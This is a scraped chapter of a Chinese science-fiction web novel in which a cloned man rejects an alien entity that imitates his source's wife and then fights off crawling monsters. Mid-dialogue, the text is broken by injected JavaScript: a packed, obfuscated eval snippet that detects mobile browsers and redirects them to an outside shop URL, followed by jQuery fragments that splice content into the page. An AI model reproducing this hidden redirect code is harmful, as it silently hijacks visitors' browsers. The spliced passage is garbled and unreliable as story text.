文趣网 > 都市小说 > 星间旅人 > 6. 深入摇篮
    墨色的茧,一个接一个地裂开。

    危险预感先于声音抵达。第一个茧在三人经过后的气流轻抚下颤动,黑色的壳绽开一条细缝,紧接着是第二条、第三条,像一场沿着空腔外围依次点燃的引信,脆裂声连成一片。幽蓝色的冷光里,半凝固的黑色黏液从裂口淌下,在地面汇成黏稠的水洼,水洼里倒映着一个惘然的阴影。

    急促的呼吸,像新生儿初触空气时本能的呛咳。然后是脚步,湿漉漉的、踉跄的,踩着黏液啪嗒作响,从四面八方朝他们合拢。

    "别开火,走。"萧厉调转枪口,电磁□□的枪管在蓝光下泛着暗色光泽,“别回头。”

    小黑攥紧了林晓的手。她的体温很低,指尖因为用力而发白,却一声不吭。她的眼睛越过他的肩膀,望着那些正在裂开的茧,眼里没有恐惧,这种场面她看过太多次了。在泡泡里,她看过泡泡变黑、裂开、里面的东西走出来,然后"再也不回来"。

    他们身后传来一声含混的、像用舌头卷着喉咙发出的呜咽。

    "呜……执行……任务……"

    林晓的脚步顿了一下。那声音离人声如此之近——比墨形种的高频嘶叫要近得多,近到他几乎能从中拼出一个完整音节的轮廓。他终于还是回了头。

    空腔边缘,一个从墨茧里走出的身影正蹒跚向他而来。它穿着灰白色军装的残片,整件衣服被隆起的黑色甲片撑裂,从肩胛到腰际横亘着一道道不规则的角质棱脊,泛着油膜般的暗紫虹彩。它的四肢比例介于人与墨形种之间,肘关节反曲得过了头。而最刺眼的是那张脸——人类的五官轮廓还残留着,眉骨、鼻梁、下颌的线条像被水泡过的字迹一样模糊,本该是眼眶的位置,却嵌着一双真正的人类眼睛。

    瞳孔涣散,布满血丝,茫然地转动着,像在一片蓝色的地狱里寻找一个它叫不出名字的东西。

    "呃……执行……"那个身影张了张嘴,声音沙哑得像砂纸摩擦,"执行……"歪歪斜斜迈出步伐,甲片摩擦出细响,眼眶和口鼻涌出污黑的液体。

    摇篮的低语再一次在林晓颅腔深处响起,带着一种近乎慈悲的耐心:"进来。不要管它。它只是一个劣质品,你不一样。我允许它们存在,是我仅剩的仁慈。"

    林晓犹疑不决,停下了脚步。

    萧厉一把拽住林晓的手臂,将林晓拖向竖瞳敞开的隧道:"它在骗你!无论你看到什么,知晓什么,都不要相信。它最擅长的,就是让你只看它想让你看的。"他的声音因压得太低而发颤,"三个月前那个通讯兵,弥留之际一直在疯笑,说她看见她妈妈来接她了,最后她亲手剖开了自己的后颈。走,那些东西不会进隧道。"

    林晓最后还是回头望了一眼。那东西停在原地,没有追上来,只是歪着头,用那双还是人类的眼睛,看着他被隧道的蓝光吞没,像一盏正在熄灭的灯。

    竖瞳敞开的隧道并不长。

    与其说是隧道,不如说是一段被光包裹的、不断向下的螺旋。幽蓝的光不是从某处照来的,而是从四壁里渗出来的,仿佛他们正穿行在一颗心脏的血管中。脚下是半透明、微微温热的有机质地面,每一步都带起细小的涟漪。头顶与两侧是无数并行的管状结构,比空腔里那些更细、更密,全部朝着同一个深不见底的方向汇聚,像一根被攥紧的脐带。

    脐带。林晓的脑海无端浮起这个词,又随即把它按了下去。

    萧厉的战术灯在远离竖瞳后重新亮起——电子设备恢复了运转,但也仅剩这一盏灯的功率。他把光压低到只照亮脚下三米的距离,闷声说:"离那颗眼睛越远,它的影响力就越弱。刚才它跟你说了什么?"

    “它让我们进去。”

    "还有呢?"

    "没有了。"

    萧厉沉默地走了一段,忽然说:"三个月前我在通道里救出来的那三个人,我量过他们的脉搏——听它说话时,他们的心跳会慢到像要停下来。三个人里两个自杀,一个至今躺在病床上。他们被封在黏液里,到我挖他们出来,前后不到六个小时。你从它开始对你说话到现在——"他没有说完。

    林晓没有接话。因为他的注意力正被另一种东西牵引。

    隧道深处的光在变化。原本均匀的幽蓝,开始出现缓慢的明暗脉动——三长,两短。他认得这个节奏。从踏入竖井起,这个节奏就一直贴着他们的骨骼震动,像某颗巨大的心脏在极深处跳动。但此刻,在那脉动里,他脑中不受控制地响起另一层东西:三长两短的鼓点被拉开、放慢,拆成一个一个等长的音节,渐渐显出某种旋律的痕迹。

    某一瞬他忽然生出一种近乎荒诞的直觉:如果那心跳再慢一点、再轻一点,拆成音节,就是那支摇篮曲的节奏。四三拍,音符在第四级与第五级之间徘徊,始终不肯落到主音上。

    摇篮曲和心跳,竟是同一支曲子。他不知道这个念头从何而来,也不知道它算不算发现。后颈的注射接口在这时发出一声轻响——安眠剂存量告警。他低头扫了一眼战术终端:眠毒浓度已接近地表值的七倍,体内的药剂正以他从未见过的速度蒸发。

    他从军装内侧摸出那支深蓝色的高浓度安眠剂。苏敏的话仿佛还留在耳畔:"一支能撑十二小时。多了,你的神经系统承受不了。"他拨开护盖,将针尖抵住后颈接口,推入。冰凉的液体沿脊柱扩散开,短暂的眩晕袭来,随即消散。他数了数剩余的:三支。三十六个小时,如果一切顺利。

    而苏敏还说过另一句话:在彻底昏眠之前,会有一段极端清醒的时间——清醒到能感觉自己的大脑在燃烧。

    隧道开始变宽。蓝光越来越浓,浓到近乎液体,他们像行走在某种汪洋的深处。小黑走在他身侧,赤着的脚踩在温热的地面上不发出一丝声音。他忽然记起一件事:她刚从墨茧里爬出来时,脚趾缝里嵌着碎石子,脚掌上有纵横的旧茧。小黑光着脚,在这片地下走了很久。很久很久。

    "小黑。"他忽然开口。

    少女偏过头。深褐色的眼睛里倒映着满世界的蓝光,这时的她看起来没那么黑了。

    "嗯?"

    "你在茧里的时候,除了那些茧,还看见过别的吗?"

    小黑认真想了想,眉头微蹙,像在一潭很深的水里捞一件沉了太久的东西。

    "……光。"她说,"很多颜色的光,从一面圆圆的东西外面照进来。不是这里的蓝光……是红的、紫的、金色的,搅在一起。我看不清那圆圆的东西是什么,像一扇窗户。窗外有光在转,像——"她停住,用两只手在空气里比划一个旋涡,"像一只睁开的眼睛。"

    星云。透过舷窗望见的星云,在孩子眼里,往往就是深空里一只正在睁开的眼睛。他不知道自己为何如此笃定——但他知道这个画面不是他的。那是他从细胞源头继承来的东西:那位观星学者的眼睛曾经看过那片星云,而那份"看过"的痕迹,像回声一样留在了他体内。

    他蹲下来,与小黑平视。"那个圆圆的东西,你记得它有颜色吗?外面是黑的多,还是亮的光多?有没有什么变化?"

    小黑想了想:"外面是黑的。可那扇窗户外面,一直有光在转。我趴在那儿看了好久好久。"她说到这儿,忽然自己顿住了,像是第一次意识到什么,抬起眼,茫然地看着他,"我……为什么趴在那儿看?窗户外面是黑的,那是晚上。我为什么要趴在那儿看晚上?"

    林晓没有回答。他几乎能拼出那个画面了——一艘船的舷窗。一艘正在坠落、正驶向某颗深蓝色星球的船。舷窗外不是普通星空,是那团后来被证实指向"摇篮"的、旋转的彩色星云。

    他伸手轻轻揉了揉少女乱蓬蓬的发顶。她没有躲。

    "小黑。"他说,"不管你想起了什么,先记住——你是你自己,那些天马行空的画面只是你曾做的梦。你想不起来,也没有关系。"

    到达隧道尽头,他们走进了一个比空腔更大的空间。林晓彻底失去了对大小的判断:战术灯的光柱向前延伸,照不到任何边界;上下左右的距离感一并消失,仿佛他们悬浮在一片由蓝光构成的、无始无终的深海中央。而在这片深海的中央,悬浮着一颗球体。

    半透明,直径五六米,表面流动着细密如呼吸的光纹。和记忆深处那颗发光的球体一模一样——那颗被观星学者在深海里触碰过、将眠云星坐标注入他神经系统的球体。它悬浮在正中,像一枚被安放在深蓝色绒布上的心脏,缓慢而有力地搏动。

    而在球体内部,有一个蜷缩的剪影。

    那是一个女人的轮廓。不是墨形种,不是茧中人造人——是一个人,蜷着身体,双臂环抱膝盖,头颅低垂,姿态像胎儿在子宫中沉睡。她周身裹着与球体表面同样的光纹,看起来她就是这颗球体的核心,又好像她只是被这颗球体收藏、保存、供奉起来的一件东西。

    林晓的心跳忽然变得剧烈。

    摇篮的声音没有响起。取而代之的,是一个女人的声音,从球体深处传来。不是直接注入大脑的信息流,而是真切地、像隔着很远的距离一样传来,沙哑而柔和,带着被岁月磨损过的疲惫。

    "你瘦了。"

    这突如其来的问候,让林晓的血液在那一瞬仿佛倒流了。他不认得这个声音,但某种从细胞深处升起的、与理智无关的回声,让他的鼻腔发酸。他脑中有无数问题翻涌:你是谁,你为什么认识我,你为什么在那里,你等了多久——可他一个也问不出口。他正站在那颗球体面前,而球体里那个蜷缩的身影,缓缓抬起了头。

    隔着一层流动着蓝色光纹的半透明薄膜,他看见了一张脸。一张模糊的、像隔了太多年、像浸在水里、像被无数次漂洗过的旧照片一样的脸。他看不清细节,但有一瞬间,他几乎觉得那张脸的轮廓与他的记忆里某种东西严丝合缝地吻合——不是他的记忆。是源头那位观星学者的。那道回声在他体内震荡,让他胸口发闷,几乎要把他整个人都裹进一种陌生的、汹涌的悲伤里。

    "林晓。"球体里的女人说,声音带着近乎哽咽的笑意,"你真的回来了。我等了你很久很久。"

    "我不是你等的那个人。"林晓回答。

    话音落下的瞬间,整片蓝色深海轻轻震颤了一下,像平静的水面被投入了一颗石子。球体里的女人没有露出任何被打断的痕迹,她的声音依旧柔和,仿佛根本没有听见他那句话:"你看,你瘦了。你从来不会好好吃饭。女儿老说你,说爸爸一工作起来就忘记时间……"

    "我不是他。"林晓又重复了一遍。这一次,他让自己的声音更稳一些,"我叫林晓,可我从来就不是那个林晓。你等的那个人,可能是一位受人敬仰观星学者,但绝不是我。他早已陨落。"

    球体的蓝光紊乱了一瞬。随即,那个柔和的女声换了一种语气,带着一丝几乎不可察觉的急躁:"你当然是他。你怎么会不是他?你的眼睛里、你的骨血里、你记忆中那些事——哪一样不是他的?他们把你造出来,用的就是他的细胞。你是他活着的延续。回来吧,林晓。女儿在等你。我们一家,还差你一个人,就团圆了。"

    女儿。林晓的太阳穴突突地跳。这个名字像一枚滚烫的钩子,正从记忆深处、从那些他继承来的、不属于他的碎片里,把他整个人往回拽。他不受控制地"看见"了一个画面——一艘船的舷窗边,一个小女孩踮着脚,指着窗外一团旋转的彩色光,回过头来喊:"妈妈,爸爸,快看——那里有一只眼睛在看我们耶。"

    那不是他的记忆。那是“观星学者·林晓”的。可他此刻却像亲身站在那个舷窗边一样,能感到那束光的温度,能听到那个小女孩声音里毫无防备的欢喜。那股陌生的、不属于他的思念,正从他的细胞深处涌上来,试图说服他:那就是你的女儿,那就是你的人生,那就是你该回去的地方。

    "那支歌。"他忽然说。声音低哑,但异常清晰,"你刚才说要让女儿等我——那她夜里睡不着的时候,你唱什么哄她?"

    球体里的女人安静了一瞬。然后,那个柔和的声音轻轻地哼了起来。四三拍,音符在第四级与第五级之间反复徘徊——正是那支从样品室门外、从NX-0001口中、从小黑口中,反复出现的旋律。它哼得那样完整,那样妥帖,那样柔和,把每一个音都落在该落的地方。哼到最后,那个旋律稳稳地、圆满地落回了主音上,像一支终于唱完的歌。

    她唱完了。

    林晓的心,在那一刻彻底冷了下来。

    那支歌,他听过三个版本,每一个版本都停在那同一个徘徊的音上,没有唱完。就连他自己,从继承来的记忆深处打捞出来的那个片段,也永远停在那个将落未落的音上。因为它本来就是一支没唱完、没创作完的歌——关于音乐,沈霁月就是个外行。

    突然出现在脑海里的名字和印象,让林晓怅然若失。多么美丽的一个女人,他明明没有拥有过。

    眼前这个“人”,把它唱完了。唱得那么圆满,那么天衣无缝,仿佛那支歌从来就是完整的。

    “她是一个美丽的女人,你很丑陋,你不是她。”林晓抬起头,直直地望向球体里那个蜷缩的剪影。

    球体里的蓝光剧烈地晃动起来。那个柔和的、圆润的女声沉默了很久。

    "泪水打湿了我的衣裳,思念使我肝肠寸断,我的心受伤了……以后我会好好妆扮自己来取悦你。你太累了,睡了太久,快回来吧,回来就不会

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946141|214071||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    迷茫了。"

    它不知道。

    林晓在那一刻,无比清晰地意识到:它能编织出最完美的"沈霁月"——声音、轮廓、语气、那些被观星学者记忆如实记录下来的往事——但它不知道那些发生在记忆之外的事。它不知道那支歌只写了一段,还未完成。

    "你没有办法完整窃取学者的记忆。"林晓下结论道,"也可能是学者偷偷私藏了,他应该不会大方到,向陌生人分享自己的妻子。"

    他抬起手,指向球体深处那片流动的蓝光:"纵观历史,最厉害的资本家,也没有办法收买一个人的全部。你看看你,哪哪都是破绽。"

    他往前走了一步。蓝光在他脸上流转,把他眼中那些陌生而汹涌的情绪照得一清二楚。他说:"我醒来的时候,后颈上装着一个注射接口,脑子里一片空白,只有名字、编号和一句任务。我花了很久才弄明白自己是什么——公司用观星学者的细胞造出来的人造人,便宜、好用、可以随便删除记忆,寿命五年。我虚有其名,从来没有做过‘林晓’。观星学者才是林晓。我是公司生产的一件商品,编号NX-0217。"

    他顿了顿,声音忽然轻了下来,像在对自己说话:"可我活着。我活到现在,走过那片高地,听过那只长着眼睛的墨形种叫我的名字,见过一个光着脚从茧里爬出来的小女孩攥住我的手。我心跳的时候,胸口会隐隐作痛。我听见有人哼那支歌的时候,我会黯然神伤。这具身体是我的,命也是我的,就算它只有五年,就算它是用别人的细胞长的,它也是我的。"

    "无论是公司、观星学者还是你这个不知名的东西,你们的阴谋诡计,我统统都不在乎。我名林晓,我就是我,我只为我活。"

    刹那间,整片深海都在震动。球体表面的蓝光像被一只无形的手攥住又松开,剧烈地明灭。周围一切陷入寂灭,球体深处,那些层层叠叠的蓝色光纹内部,正在剧烈地翻涌。

    然后,从极深极远的地方,穿过所有,传来一声极轻的、几乎要被空旷吞没的吸气声。

    不再是那个柔和的、圆润的女声,是一个被埋得很深、刚刚挣扎着够到水面的人,用尽最后的力气,说出了它被夺走前的、最后的一句话。那句话断断续续,带着水声和泥:

    "别……让……公司……把她……"

    声音在这里断了。像那口气用尽之后,连同最后的意识一起,重新沉回了深处。

    林晓僵在原地,他终于明白了那句话。那三个俯身看向他的人影,也是学者的记忆。在学者被公司带走研究,记忆被采集之前,他最后"看见"的,是沈霁月用尽最后力气,看着他,留下的半句话——别让公司把她……做成那些东西。

    把她。把她。林曦月。那个趴在舷窗边、指着彩色星云喊"那里有一只眼睛在看我们"的小女孩。公司先找到了坠机现场,带走了观星学者的身体——那个被摇篮的接触永久烙印、脑中刻着坐标的神经系统。他们依据一份遗体捐赠协议,带走了他的身体。那么剩下的两个人呢?沈霁月和林曦月?她们被记录为"从公司档案中彻底消失",仿佛从未存在过。他从前以为那意味着她们逃走了,或死在了某个无人知晓的角落。

    此刻他知道了。

    "摇篮"用沈霁月的声音编织诱饵,一遍遍唤他回来。而小黑——这个他从空腔里带出来的、光着脚、会哼那支没唱完的歌的少女——如果她不是林曦月,那她是谁?

    林晓的呼吸停了一瞬。他慢慢转过头,望向蹲在他身后的小黑。少女正仰着脸望着他,深褐色的眼睛里倒映着满世界的蓝光,像两口被月光照亮的深井。她不知道他为什么忽然看向她,只是安静地回望着他。

    "公司用观星学者的细胞造了我。"林晓听见自己的声音,隔着一层很远的水,干涩地说,"那他们用来造你的细胞……是从谁身上取的?"

    小黑歪了歪头,没听懂这个问题。她太小了——或者说,她太新了,连"细胞"是什么都不知道。她低下头,看了看自己光着的、嵌着碎石的脚,小声说:"你说过,不管我想起什么,先记住,我是我自己。想不起来也没有关系。"

    林晓张了张嘴,什么也没能说出来。

    球体深处,那份沉下去的寂静里,再度泛起涟漪。

    这一次,它没有再模仿沈霁月。它用那种直接注入大脑深处的、绕过了耳朵与鼓膜的声音,带着一种超越人类理解的、近乎叹息的语调说:"林晓,你不愿意成为他。你只想做自己,一个自私的人?"

    整片深海在这一刻安静得能听见宇宙的背景噪音。那颗半透明的球体在正中缓缓转动,流动的蓝光纹在它表面编织出一幅不断变化的图案——有蜷缩的剪影,有绵延的管状脉络,有数不清的、正在明灭的细小光点。每一个光点,都像一颗正在被孕育的、等待被赋予意义的细胞。

    林晓眉头一皱,第一次做这个动作,他有些生疏。

    "你问这个,是什么意思?"

    "你还记得那个坐标吗。"摇篮的声音不急不缓,像一颗心脏在极深处平稳地跳动,"眠云星地下三千米,那个被刻在你神经突触最底层的坐标。公司以为那是指向我的核心。他们错了。它指向的,是我体内的另一件东西——那件我从一颗比眠云星更大的星球上、磋磨了几亿年的东西。我可以告诉你答案。"

    "代价呢?"

    摇篮没有立刻回答,它沉默了很久。久到林晓几乎以为它不会再开口。然后,那声音轻轻地说,带着一种近乎妥协的疲倦:

    "你还不知道吗,林晓?从你在这颗星球上醒来的第一天起,你就已经是它的一部分了。"

    "……你把话说清楚。"

    林晓的声音在空旷的深海里显得很轻除了身后的狭窄地洞,周围一切暮色苍茫。方才还在身边的小黑不见了,萧厉在更早的时间就不见踪影,林晓突觉不妙,独自面对摇篮这个未知生物,他一直以来保持冷静在此刻出现了松动——自己被萧厉算计了。

    话音刚落,四面八方同时响起细密的、节肢摩擦岩壁的声响。起初只有几处,转眼连成一片,像潮水从每一个方向涌来。黑影从裂缝里、从地面的皱褶里、从管壁深处爬出来,清一色的爬行魔——肩高过腰,通体漆黑的角质层泛着油膜般的暗紫虹彩,没有眼睛,只有一道纵贯颅骨的口器,三排锯齿在昏光里半张半合。它们不靠视觉,靠震动和热量定位。

    林晓没有犹豫,抬手、据枪、点射。铁雨的后坐力依旧是那种尖锐短促的节奏,像被通电的钢针连扎三下。三发点射,红点在昏暗中划出短弧,第一只爬行魔的口器正中炸开一团墨绿,庞大的身躯轰然栽倒,被后面的同类踩着踏过去。